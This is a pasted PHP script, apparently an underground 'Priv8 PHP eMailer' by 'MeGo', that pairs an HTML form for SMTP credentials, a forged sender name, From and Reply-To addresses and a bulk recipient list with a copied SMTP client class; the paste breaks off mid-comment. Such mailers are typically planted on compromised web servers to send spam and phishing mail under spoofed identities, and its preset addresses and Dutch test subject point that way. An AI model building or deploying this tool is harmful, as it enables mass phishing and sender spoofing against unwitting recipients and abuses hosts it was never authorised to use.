· 9 years ago · Aug 09, 2017, 05:50 PM
1<?php
2
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14
15
16
17
18
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message="ddddddd";
22$emaillist="g9832b@aol.com";
23$from="manag.poxy@r1z.com";
24$reconnect=lrtrim($reconnect);
25$epriority="1";
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto="g9832b@gmail.com";
31$subject="Probeer aan verzenden";
32$realname="Slechts";
33$file_name=lrtrim($file);
34$urlz=lrtrim($urlz);
35$contenttype=lrtrim($contenttype);
36
37 $message = urlencode($message);
38 $message = str_replace("%5C%22", "%22", $message);
39 $message = urldecode($message);
40 $message = stripslashes($message);
41 $subject = stripslashes($subject);
42
43
44
45?>
46
47<html>
48
49<head>
50
51<title>{*oo*}vs(o_o)</title>
52
53<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
54
55<style type="text/css">
56<!--
57.style1 {
58 font-family: Geneva, Arial, Helvetica, sans-serif;
59 font-size: 12px;
60}
61-->
62</style>
63<style type="text/css">
64<!--
65.style1 {
66 font-size: 10px;
67 font-family: Geneva, Arial, Helvetica, sans-serif;
68}
69-->
70</style>
71</head>
72<body bgcolor="#FFFFFF" text="#000000">
73<span class="style1">Priv8 PHP eMailer is created by MeGo<br>
74 <font color=\"#800000\">EG5-@hotmail.com</font></span>
75
76<form name="form1" method="post" action="" enctype="multipart/form-data">
77
78 <br>
79
80 <table width="100%" border="0" height="407">
81
82 <tr>
83
84 <td width="100%" colspan="4" bgcolor="#666666" height="36">
85
86 <b>
87
88 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
89
90 </tr>
91 <tr>
92
93 <td width="10%" height="22" bgcolor="#E8E8E8">
94
95 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
96
97 </td>
98
99 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
100
101 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
102
103 </font></td>
104
105 <td width="31%" height="22" bgcolor="#E8E8E8">
106
107 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
108
109 </td>
110
111 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
112
113 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
114
115 </font></td>
116
117 </tr>
118 <tr>
119
120 <td width="10%" height="22" bgcolor="#E8E8E8">
121
122 <div align="right">
123 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
124
125 </td>
126
127 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128
129 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
130 (optional)</font></td>
131
132 <td width="31%" height="22" bgcolor="#E8E8E8">
133
134 <div align="right">
135 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
136 Smtp:</font></div>
137
138 </td>
139
140 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
141
142 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
143
144 </font></td>
145
146 </tr>
147 <tr>
148
149 <td width="10%" height="22" bgcolor="#E8E8E8">
150
151 <p align="right">
152 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
153
154 <td width="18%" height="22" bgcolor="#E8E8E8">
155 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
156
157 <td width="31%" height="22" bgcolor="#E8E8E8">
158
159 <p align="right">
160 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
161 After:</font></td>
162
163 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
164
165 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
166 EMAILS</font></td>
167
168 </tr>
169 <tr>
170
171 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
172
173 <p align="center">
174 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
175 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
176
177 </tr>
178
179 <tr>
180
181 <td width="10%" height="19">
182
183 </td>
184
185 <td width="18%" height="19"> </td>
186
187 <td width="31%" height="19">
188
189 </td>
190
191 <td width="41%" height="19"> </td>
192
193 </tr>
194
195 <tr>
196
197 <td width="100%" colspan="4" bgcolor="#666666" height="36">
198
199 <b>
200
201 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
202
203 </tr>
204
205 <tr>
206
207 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
208
209 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
210
211 Email:</font></div>
212
213 </td>
214
215 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
216
217 <input type="text" name="from" value="<?=$from;?>" size="30">
218
219 </font></td>
220
221 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
222
223 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
224
225 Name:</font></div>
226
227 </td>
228
229 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
230
231 <input type="text" name="realname" value="<?=$realname;?>" size="30">
232
233 </font></td>
234
235 </tr>
236 <tr>
237
238 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
239
240 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
241
242 </td>
243
244 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
245
246 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
247
248 </font></td>
249
250 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
251
252 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
253 Email Priority:</font></td>
254
255 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
256
257 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
258 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
259 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
260 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
261 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
262 </select></td>
263
264 </tr>
265
266 <tr>
267
268 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
269
270 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
271
272 </td>
273
274 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
275
276 <input type="text" name="subject" value="<?=$subject;?>" size="90">
277
278 </font></td>
279
280 </tr>
281
282 <tr>
283
284 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
285
286 </td>
287
288 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
289
290 </font></td>
291
292 </tr>
293
294 <tr valign="top">
295
296<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
297
298 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
299
300 <br>
301
302 <input type="radio" name="contenttype" value="plain" >
303
304 Plain
305
306 <input type="radio" name="contenttype" value="html" checked>
307
308 HTML
309
310 <input type="hidden" name="action" value="send">
311
312 <input type="submit" value="Send Message">
313
314 </font></td>
315
316 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
317
318 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
319
320 </font></td>
321
322 </tr>
323
324 </table>
325
326</form>
327
328
329
330<?
331
332if ($action){
333 if (!$from && !$subject && !$message && !$emaillist){
334 print "<script>alert('Please complete all fields before sending your message.'); </script>";
335 die(); }
336
337class SMTP
338{
339 /**
340 * SMTP server port
341 * @var int
342 */
343 var $SMTP_PORT = 25;
344
345 /**
346 * SMTP reply line ending
347 * @var string
348 */
349 var $CRLF = "\r\n";
350
351 /**
352 * Sets whether debugging is turned on
353 * @var bool
354 */
355 var $do_debug; # the level of debug to perform
356
357 /**
358 * Sets VERP use on/off (default is off)
359 * @var bool
360 */
361 var $do_verp = false;
362
363 /**#@+
364 * @access private
365 */
366 var $smtp_conn; # the socket to the server
367 var $error; # error if any on the last call
368 var $helo_rply; # the reply the server sent to us for HELO
369 /**#@-*/
370
371 /**
372 * Initialize the class so that the data is in a known state.
373 * @access public
374 * @return void
375 */
376 function SMTP() {
377 $this->smtp_conn = 0;
378 $this->error = null;
379 $this->helo_rply = null;
380
381 $this->do_debug = 0;
382 }
383
384 /*************************************************************
385 * CONNECTION FUNCTIONS *
386 ***********************************************************/
387
388 /**
389 * Connect to the server specified on the port specified.
390 * If the port is not specified use the default SMTP_PORT.
391 * If tval is specified then a connection will try and be
392 * established with the server for that number of seconds.
393 * If tval is not specified the default is 30 seconds to
394 * try on the connection.
395 *
396 * SMTP CODE SUCCESS: 220
397 * SMTP CODE FAILURE: 421
398 * @access public
399 * @return bool
400 */
401 function Connect($host,$port=0,$tval=30) {
402 # set the error val to null so there is no confusion
403 $this->error = null;
404
405 # make sure we are __not__ connected
406 if($this->connected()) {
407 # ok we are connected! what should we do?
408 # for now we will just give an error saying we
409 # are already connected
410 $this->error = array("error" => "Already connected to a server");
411 return false;
412 }
413
414 if(empty($port)) {
415 $port = $this->SMTP_PORT;
416 }
417
418 #connect to the smtp server
419 $this->smtp_conn = fsockopen($host, # the host of the server
420 $port, # the port to use
421 $errno, # error number if any
422 $errstr, # error message if any
423 $tval); # give up after ? secs
424 # verify we connected properly
425 if(empty($this->smtp_conn)) {
426 $this->error = array("error" => "Failed to connect to server",
427 "errno" => $errno,
428 "errstr" => $errstr);
429 if($this->do_debug >= 1) {
430 echo "SMTP -> ERROR: " . $this->error["error"] .
431 ": $errstr ($errno)" . $this->CRLF;
432 }
433 return false;
434 }
435
436 # sometimes the SMTP server takes a little longer to respond
437 # so we will give it a longer timeout for the first read
438 // Windows still does not have support for this timeout function
439 if(substr(PHP_OS, 0, 3) != "WIN")
440 socket_set_timeout($this->smtp_conn, $tval, 0);
441
442 # get any announcement stuff
443 $announce = $this->get_lines();
444
445 # set the timeout of any socket functions at 1/10 of a second
446 //if(function_exists("socket_set_timeout"))
447 // socket_set_timeout($this->smtp_conn, 0, 100000);
448
449 if($this->do_debug >= 2) {
450 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
451 }
452
453 return true;
454 }
455
456 /**
457 * Performs SMTP authentication. Must be run after running the
458 * Hello() method. Returns true if successfully authenticated.
459 * @access public
460 * @return bool
461 */
462 function Authenticate($username, $password) {
463 // Start authentication
464 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
465
466 $rply = $this->get_lines();
467 $code = substr($rply,0,3);
468
469 if($code != 334) {
470 $this->error =
471 array("error" => "AUTH not accepted from server",
472 "smtp_code" => $code,
473 "smtp_msg" => substr($rply,4));
474 if($this->do_debug >= 1) {
475 echo "SMTP -> ERROR: " . $this->error["error"] .
476 ": " . $rply . $this->CRLF;
477 }
478 return false;
479 }
480
481 // Send encoded username
482 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
483
484 $rply = $this->get_lines();
485 $code = substr($rply,0,3);
486
487 if($code != 334) {
488 $this->error =
489 array("error" => "Username not accepted from server",
490 "smtp_code" => $code,
491 "smtp_msg" => substr($rply,4));
492 if($this->do_debug >= 1) {
493 echo "SMTP -> ERROR: " . $this->error["error"] .
494 ": " . $rply . $this->CRLF;
495 }
496 return false;
497 }
498
499 // Send encoded password
500 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
501
502 $rply = $this->get_lines();
503 $code = substr($rply,0,3);
504
505 if($code != 235) {
506 $this->error =
507 array("error" => "Password not accepted from server",
508 "smtp_code" => $code,
509 "smtp_msg" => substr($rply,4));
510 if($this->do_debug >= 1) {
511 echo "SMTP -> ERROR: " . $this->error["error"] .
512 ": " . $rply . $this->CRLF;
513 }
514 return false;
515 }
516
517 return true;
518 }
519
520 /**
521 * Returns true if connected to a server otherwise false
522 * @access private
523 * @return bool
524 */
525 function Connected() {
526 if(!empty($this->smtp_conn)) {
527 $sock_status = socket_get_status($this->smtp_conn);
528 if($sock_status["eof"]) {
529 # hmm this is an odd situation... the socket is
530 # valid but we are not connected anymore
531 if($this->do_debug >= 1) {
532 echo "SMTP -> NOTICE:" . $this->CRLF .
533 "EOF caught while checking if connected";
534 }
535 $this->Close();
536 return false;
537 }
538 return true; # everything looks good
539 }
540 return false;
541 }
542
543 /**
544 * Closes the socket and cleans up the state of the class.
545 * It is not considered good to use this function without
546 * first trying to use QUIT.
547 * @access public
548 * @return void
549 */
550 function Close() {
551 $this->error = null; # so there is no confusion
552 $this->helo_rply = null;
553 if(!empty($this->smtp_conn)) {
554 # close the connection and cleanup
555 fclose($this->smtp_conn);
556 $this->smtp_conn = 0;
557 }
558 }
559
560 /***************************************************************
561 * SMTP COMMANDS *
562 *************************************************************/
563
564 /**
565 * Issues a data command and sends the msg_data to the server
566 * finializing the mail transaction. $msg_data is the message
567 * that is to be send with the headers. Each header needs to be
568 * on a single line followed by a <CRLF> with the message headers
569 * and the message body being seperated by and additional <CRLF>.
570 *
571 * Implements rfc 821: DATA <CRLF>
572 *
573 * SMTP CODE INTERMEDIATE: 354
574 * [data]
575 * <CRLF>.<CRLF>
576 * SMTP CODE SUCCESS: 250
577 * SMTP CODE FAILURE: 552,554,451,452
578 * SMTP CODE FAILURE: 451,554
579 * SMTP CODE ERROR : 500,501,503,421
580 * @access public
581 * @return bool
582 */
583 function Data($msg_data) {
584 $this->error = null; # so no confusion is caused
585
586 if(!$this->connected()) {
587 $this->error = array(
588 "error" => "Called Data() without being connected");
589 return false;
590 }
591
592 fputs($this->smtp_conn,"DATA" . $this->CRLF);
593
594 $rply = $this->get_lines();
595 $code = substr($rply,0,3);
596
597 if($this->do_debug >= 2) {
598 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
599 }
600
601 if($code != 354) {
602 $this->error =
603 array("error" => "DATA command not accepted from server",
604 "smtp_code" => $code,
605 "smtp_msg" => substr($rply,4));
606 if($this->do_debug >= 1) {
607 echo "SMTP -> ERROR: " . $this->error["error"] .
608 ": " . $rply . $this->CRLF;
609 }
610 return false;
611 }
612
613 # the server is ready to accept data!
614 # according to rfc 821 we should not send more than 1000
615 # including the CRLF
616 # characters on a single line so we will break the data up
617 # into lines by \r and/or \n then if needed we will break
618 # each of those into smaller lines to fit within the limit.
619 # in addition we will be looking for lines that start with
620 # a period '.' and append and additional period '.' to that
621 # line. NOTE: this does not count towards are limit.
622
623 # normalize the line breaks so we know the explode works
624 $msg_data = str_replace("\r\n","\n",$msg_data);
625 $msg_data = str_replace("\r","\n",$msg_data);
626 $lines = explode("\n",$msg_data);
627
628 # we need to find a good way to determine is headers are
629 # in the msg_data or if it is a straight msg body
630 # currently I am assuming rfc 822 definitions of msg headers
631 # and if the first field of the first line (':' sperated)
632 # does not contain a space then it _should_ be a header
633 # and we can process all lines before a blank "" line as
634 # headers.
635 $field = substr($lines[0],0,strpos($lines[0],":"));
636 $in_headers = false;
637 if(!empty($field) && !strstr($field," ")) {
638 $in_headers = true;
639 }
640
641 $max_line_length = 998; # used below; set here for ease in change
642
643 while(list(,$line) = @each($lines)) {
644 $lines_out = null;
645 if($line == "" && $in_headers) {
646 $in_headers = false;
647 }
648 # ok we need to break this line up into several
649 # smaller lines
650 while(strlen($line) > $max_line_length) {
651 $pos = strrpos(substr($line,0,$max_line_length)," ");
652
653 # Patch to fix DOS attack
654 if(!$pos) {
655 $pos = $max_line_length - 1;
656 }
657
658 $lines_out[] = substr($line,0,$pos);
659 $line = substr($line,$pos + 1);
660 # if we are processing headers we need to
661 # add a LWSP-char to the front of the new line
662 # rfc 822 on long msg headers
663 if($in_headers) {
664 $line = "\t" . $line;
665 }
666 }
667 $lines_out[] = $line;
668
669 # now send the lines to the server
670 while(list(,$line_out) = @each($lines_out)) {
671 if(strlen($line_out) > 0)
672 {
673 if(substr($line_out, 0, 1) == ".") {
674 $line_out = "." . $line_out;
675 }
676 }
677 fputs($this->smtp_conn,$line_out . $this->CRLF);
678 }
679 }
680
681 # ok all the message data has been sent so lets get this
682 # over with aleady
683 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
684
685 $rply = $this->get_lines();
686 $code = substr($rply,0,3);
687
688 if($this->do_debug >= 2) {
689 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
690 }
691
692 if($code != 250) {
693 $this->error =
694 array("error" => "DATA not accepted from server",
695 "smtp_code" => $code,
696 "smtp_msg" => substr($rply,4));
697 if($this->do_debug >= 1) {
698 echo "SMTP -> ERROR: " . $this->error["error"] .
699 ": " . $rply . $this->CRLF;
700 }
701 return false;
702 }
703 return true;
704 }
705
706 /**
707 * Expand takes the name and asks the server to list all the
708 * people who are members of the _list_. Expand will return
709 * back and array of the result or false if an error occurs.
710 * Each value in the array returned has the format of:
711 * [ <full-name> <sp> ] <path>
712 * The definition of <path> is defined in rfc 821
713 *
714 * Implements rfc 821: EXPN <SP> <string> <CRLF>
715 *
716 * SMTP CODE SUCCESS: 250
717 * SMTP CODE FAILURE: 550
718 * SMTP CODE ERROR : 500,501,502,504,421
719 * @access public
720 * @return string array
721 */
722 function Expand($name) {
723 $this->error = null; # so no confusion is caused
724
725 if(!$this->connected()) {
726 $this->error = array(
727 "error" => "Called Expand() without being connected");
728 return false;
729 }
730
731 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
732
733 $rply = $this->get_lines();
734 $code = substr($rply,0,3);
735
736 if($this->do_debug >= 2) {
737 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
738 }
739
740 if($code != 250) {
741 $this->error =
742 array("error" => "EXPN not accepted from server",
743 "smtp_code" => $code,
744 "smtp_msg" => substr($rply,4));
745 if($this->do_debug >= 1) {
746 echo "SMTP -> ERROR: " . $this->error["error"] .
747 ": " . $rply . $this->CRLF;
748 }
749 return false;
750 }
751
752 # parse the reply and place in our array to return to user
753 $entries = explode($this->CRLF,$rply);
754 while(list(,$l) = @each($entries)) {
755 $list[] = substr($l,4);
756 }
757
758 return $list;
759 }
760
761 /**
762 * Sends the HELO command to the smtp server.
763 * This makes sure that we and the server are in
764 * the same known state.
765 *
766 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
767 *
768 * SMTP CODE SUCCESS: 250
769 * SMTP CODE ERROR : 500, 501, 504, 421
770 * @access public
771 * @return bool
772 */
773 function Hello($host="") {
774 $this->error = null; # so no confusion is caused
775
776 if(!$this->connected()) {
777 $this->error = array(
778 "error" => "Called Hello() without being connected");
779 return false;
780 }
781
782 # if a hostname for the HELO was not specified determine
783 # a suitable one to send
784 if(empty($host)) {
785 # we need to determine some sort of appopiate default
786 # to send to the server
787 $host = "localhost";
788 }
789
790 // Send extended hello first (RFC 2821)
791 if(!$this->SendHello("EHLO", $host))
792 {
793 if(!$this->SendHello("HELO", $host))
794 return false;
795 }
796
797 return true;
798 }
799
800 /**
801 * Sends a HELO/EHLO command.
802 * @access private
803 * @return bool
804 */
805 function SendHello($hello, $host) {
806 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
807
808 $rply = $this->get_lines();
809 $code = substr($rply,0,3);
810
811 if($this->do_debug >= 2) {
812 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
813 }
814
815 if($code != 250) {
816 $this->error =
817 array("error" => $hello . " not accepted from server",
818 "smtp_code" => $code,
819 "smtp_msg" => substr($rply,4));
820 if($this->do_debug >= 1) {
821 echo "SMTP -> ERROR: " . $this->error["error"] .
822 ": " . $rply . $this->CRLF;
823 }
824 return false;
825 }
826
827 $this->helo_rply = $rply;
828
829 return true;
830 }
831
832 /**
833 * Gets help information on the keyword specified. If the keyword
834 * is not specified then returns generic help, ussually contianing
835 * A list of keywords that help is available on. This function
836 * returns the results back to the user. It is up to the user to
837 * handle the returned data. If an error occurs then false is
838 * returned with $this->error set appropiately.
839 *
840 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
841 *
842 * SMTP CODE SUCCESS: 211,214
843 * SMTP CODE ERROR : 500,501,502,504,421
844 * @access public
845 * @return string
846 */
847 function Help($keyword="") {
848 $this->error = null; # to avoid confusion
849
850 if(!$this->connected()) {
851 $this->error = array(
852 "error" => "Called Help() without being connected");
853 return false;
854 }
855
856 $extra = "";
857 if(!empty($keyword)) {
858 $extra = " " . $keyword;
859 }
860
861 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
862
863 $rply = $this->get_lines();
864 $code = substr($rply,0,3);
865
866 if($this->do_debug >= 2) {
867 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
868 }
869
870 if($code != 211 && $code != 214) {
871 $this->error =
872 array("error" => "HELP not accepted from server",
873 "smtp_code" => $code,
874 "smtp_msg" => substr($rply,4));
875 if($this->do_debug >= 1) {
876 echo "SMTP -> ERROR: " . $this->error["error"] .
877 ": " . $rply . $this->CRLF;
878 }
879 return false;
880 }
881
882 return $rply;
883 }
884
885 /**
886 * Starts a mail transaction from the email address specified in
887 * $from. Returns true if successful or false otherwise. If True
888 * the mail transaction is started and then one or more Recipient
889 * commands may be called followed by a Data command.
890 *
891 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
892 *
893 * SMTP CODE SUCCESS: 250
894 * SMTP CODE SUCCESS: 552,451,452
895 * SMTP CODE SUCCESS: 500,501,421
896 * @access public
897 * @return bool
898 */
899 function Mail($from) {
900 $this->error = null; # so no confusion is caused
901
902 if(!$this->connected()) {
903 $this->error = array(
904 "error" => "Called Mail() without being connected");
905 return false;
906 }
907
908 $useVerp = ($this->do_verp ? "XVERP" : "");
909 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
910
911 $rply = $this->get_lines();
912 $code = substr($rply,0,3);
913
914 if($this->do_debug >= 2) {
915 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
916 }
917
918 if($code != 250) {
919 $this->error =
920 array("error" => "MAIL not accepted from server",
921 "smtp_code" => $code,
922 "smtp_msg" => substr($rply,4));
923 if($this->do_debug >= 1) {
924 echo "SMTP -> ERROR: " . $this->error["error"] .
925 ": " . $rply . $this->CRLF;
926 }
927 return false;
928 }
929 return true;
930 }
931
932 /**
933 * Sends the command NOOP to the SMTP server.
934 *
935 * Implements from rfc 821: NOOP <CRLF>
936 *
937 * SMTP CODE SUCCESS: 250
938 * SMTP CODE ERROR : 500, 421
939 * @access public
940 * @return bool
941 */
942 function Noop() {
943 $this->error = null; # so no confusion is caused
944
945 if(!$this->connected()) {
946 $this->error = array(
947 "error" => "Called Noop() without being connected");
948 return false;
949 }
950
951 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
952
953 $rply = $this->get_lines();
954 $code = substr($rply,0,3);
955
956 if($this->do_debug >= 2) {
957 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
958 }
959
960 if($code != 250) {
961 $this->error =
962 array("error" => "NOOP not accepted from server",
963 "smtp_code" => $code,
964 "smtp_msg" => substr($rply,4));
965 if($this->do_debug >= 1) {
966 echo "SMTP -> ERROR: " . $this->error["error"] .
967 ": " . $rply . $this->CRLF;
968 }
969 return false;
970 }
971 return true;
972 }
973
974 /**
975 * Sends the quit command to the server and then closes the socket
976 * if there is no error or the $close_on_error argument is true.
977 *
978 * Implements from rfc 821: QUIT <CRLF>
979 *
980 * SMTP CODE SUCCESS: 221
981 * SMTP CODE ERROR : 500
982 * @access public
983 * @return bool
984 */
985 function Quit($close_on_error=true) {
986 $this->error = null; # so there is no confusion
987
988 if(!$this->connected()) {
989 $this->error = array(
990 "error" => "Called Quit() without being connected");
991 return false;
992 }
993
994 # send the quit command to the server
995 fputs($this->smtp_conn,"quit" . $this->CRLF);
996
997 # get any good-bye messages
998 $byemsg = $this->get_lines();
999
1000 if($this->do_debug >= 2) {
1001 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1002 }
1003
1004 $rval = true;
1005 $e = null;
1006
1007 $code = substr($byemsg,0,3);
1008 if($code != 221) {
1009 # use e as a tmp var cause Close will overwrite $this->error
1010 $e = array("error" => "SMTP server rejected quit command",
1011 "smtp_code" => $code,
1012 "smtp_rply" => substr($byemsg,4));
1013 $rval = false;
1014 if($this->do_debug >= 1) {
1015 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1016 $byemsg . $this->CRLF;
1017 }
1018 }
1019
1020 if(empty($e) || $close_on_error) {
1021 $this->Close();
1022 }
1023
1024 return $rval;
1025 }
1026
1027 /**
1028 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1029 * Returns true if the recipient was accepted false if it was rejected.
1030 *
1031 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1032 *
1033 * SMTP CODE SUCCESS: 250,251
1034 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1035 * SMTP CODE ERROR : 500,501,503,421
1036 * @access public
1037 * @return bool
1038 */
1039 function Recipient($to) {
1040 $this->error = null; # so no confusion is caused
1041
1042 if(!$this->connected()) {
1043 $this->error = array(
1044 "error" => "Called Recipient() without being connected");
1045 return false;
1046 }
1047
1048 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1049
1050 $rply = $this->get_lines();
1051 $code = substr($rply,0,3);
1052
1053 if($this->do_debug >= 2) {
1054 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1055 }
1056
1057 if($code != 250 && $code != 251) {
1058 $this->error =
1059 array("error" => "RCPT not accepted from server",
1060 "smtp_code" => $code,
1061 "smtp_msg" => substr($rply,4));
1062 if($this->do_debug >= 1) {
1063 echo "SMTP -> ERROR: " . $this->error["error"] .
1064 ": " . $rply . $this->CRLF;
1065 }
1066 return false;
1067 }
1068 return true;
1069 }
1070
1071 /**
1072 * Sends the RSET command to abort and transaction that is
1073 * currently in progress. Returns true if successful false
1074 * otherwise.
1075 *
1076 * Implements rfc 821: RSET <CRLF>
1077 *
1078 * SMTP CODE SUCCESS: 250
1079 * SMTP CODE ERROR : 500,501,504,421
1080 * @access public
1081 * @return bool
1082 */
1083 function Reset() {
1084 $this->error = null; # so no confusion is caused
1085
1086 if(!$this->connected()) {
1087 $this->error = array(
1088 "error" => "Called Reset() without being connected");
1089 return false;
1090 }
1091
1092 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1093
1094 $rply = $this->get_lines();
1095 $code = substr($rply,0,3);
1096
1097 if($this->do_debug >= 2) {
1098 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1099 }
1100
1101 if($code != 250) {
1102 $this->error =
1103 array("error" => "RSET failed",
1104 "smtp_code" => $code,
1105 "smtp_msg" => substr($rply,4));
1106 if($this->do_debug >= 1) {
1107 echo "SMTP -> ERROR: " . $this->error["error"] .
1108 ": " . $rply . $this->CRLF;
1109 }
1110 return false;
1111 }
1112
1113 return true;
1114 }
1115
1116 /**
1117 * Starts a mail transaction from the email address specified in
1118 * $from. Returns true if successful or false otherwise. If True
1119 * the mail transaction is started and then one or more Recipient
1120 * commands may be called followed by a Data command. This command
1121 * will send the message to the users terminal if they are logged
1122 * in.
1123 *
1124 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1125 *
1126 * SMTP CODE SUCCESS: 250
1127 * SMTP CODE SUCCESS: 552,451,452
1128 * SMTP CODE SUCCESS: 500,501,502,421
1129 * @access public
1130 * @return bool
1131 */
1132 function Send($from) {
1133 $this->error = null; # so no confusion is caused
1134
1135 if(!$this->connected()) {
1136 $this->error = array(
1137 "error" => "Called Send() without being connected");
1138 return false;
1139 }
1140
1141 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1142
1143 $rply = $this->get_lines();
1144 $code = substr($rply,0,3);
1145
1146 if($this->do_debug >= 2) {
1147 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1148 }
1149
1150 if($code != 250) {
1151 $this->error =
1152 array("error" => "SEND not accepted from server",
1153 "smtp_code" => $code,
1154 "smtp_msg" => substr($rply,4));
1155 if($this->do_debug >= 1) {
1156 echo "SMTP -> ERROR: " . $this->error["error"] .
1157 ": " . $rply . $this->CRLF;
1158 }
1159 return false;
1160 }
1161 return true;
1162 }
1163
1164 /**
1165 * Starts a mail transaction from the email address specified in
1166 * $from. Returns true if successful or false otherwise. If True
1167 * the mail transaction is started and then one or more Recipient
